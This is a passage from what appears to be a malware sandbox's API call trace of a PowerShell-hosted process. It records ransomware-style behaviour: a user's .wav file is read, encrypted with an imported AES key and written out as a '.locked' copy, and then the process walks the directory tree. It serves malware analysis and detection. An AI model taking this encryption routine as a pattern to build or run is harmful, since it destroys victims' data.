(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.929] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.929] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.929] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.929] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.929] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.929] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.930] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.930] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.930] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.930] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.930] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.930] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.930] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.931] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.931] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0133.936] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e027a0) returned 1 [0133.937] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6925cfc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84b78) returned 1 [0133.937] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.937] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.937] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.937] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.937] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav")) returned 0x20 [0133.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav")) returned 0x20 [0133.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.940] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.940] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.940] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.940] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.940] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.942] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.943] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.944] GetFileType (hFile=0x858) returned 0x1 [0133.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.944] GetFileType (hFile=0x858) returned 0x1 [0133.944] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.944] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.944] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.944] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.944] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.945] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked", lpFilePart=0x0) returned 0x37 [0133.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.945] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.946] GetFileType (hFile=0x874) returned 0x1 [0133.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.946] GetFileType (hFile=0x874) returned 0x1 [0133.946] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.946] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x693cc1c | out: pbBuffer=0x693cc1c) returned 1 [0133.946] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.946] CryptDuplicateKey (in: hKey=0x8e84b78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e849b8) returned 1 [0133.946] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.946] CryptSetKeyParam (hKey=0x8e849b8, dwParam=0x4, pbData=0x693ded8*=0x1, dwFlags=0x0) returned 1 [0133.947] CryptSetKeyParam (hKey=0x8e849b8, dwParam=0x1, pbData=0x693dea4, dwFlags=0x0) returned 1 [0133.947] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2720\x438\x242") returned 0x0 [0133.947] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.947] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.947] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.947] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.947] ReadFile (in: hFile=0x858, lpBuffer=0x69414fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69414fc*, lpNumberOfBytesRead=0x99ae7a8*=0xe22e, lpOverlapped=0x0) returned 1 [0133.949] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6955508*, pdwDataLen=0x99ae79c*=0xe220, dwBufLen=0xe220 | out: pbData=0x6955508*, pdwDataLen=0x99ae79c*=0xe220) returned 1 [0133.949] WriteFile (in: hFile=0x874, lpBuffer=0x693ccdc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x693ccdc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.950] WriteFile (in: hFile=0x874, lpBuffer=0x69564f4*, nNumberOfBytesToWrite=0xd234, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69564f4*, lpNumberOfBytesWritten=0x99ae780*=0xd234, lpOverlapped=0x0) returned 1 [0133.951] ReadFile (in: hFile=0x858, lpBuffer=0x69414fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69414fc*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.951] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x696374c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x696374c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.951] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6963780*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6963780*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.951] WriteFile (in: hFile=0x874, lpBuffer=0x693ccdc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x693ccdc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.951] CloseHandle (hObject=0x874) returned 1 [0133.953] CloseHandle (hObject=0x858) returned 1 [0133.953] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.953] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.953] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.953] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.953] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.955] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\8mdzr6.wav")) returned 0x20 [0133.955] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\8mdzr6.wav", lpFilePart=0x0) returned 0x30 [0133.956] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.956] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.956] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.956] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.956] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.956] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.956] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.956] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.956] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.956] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.956] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, 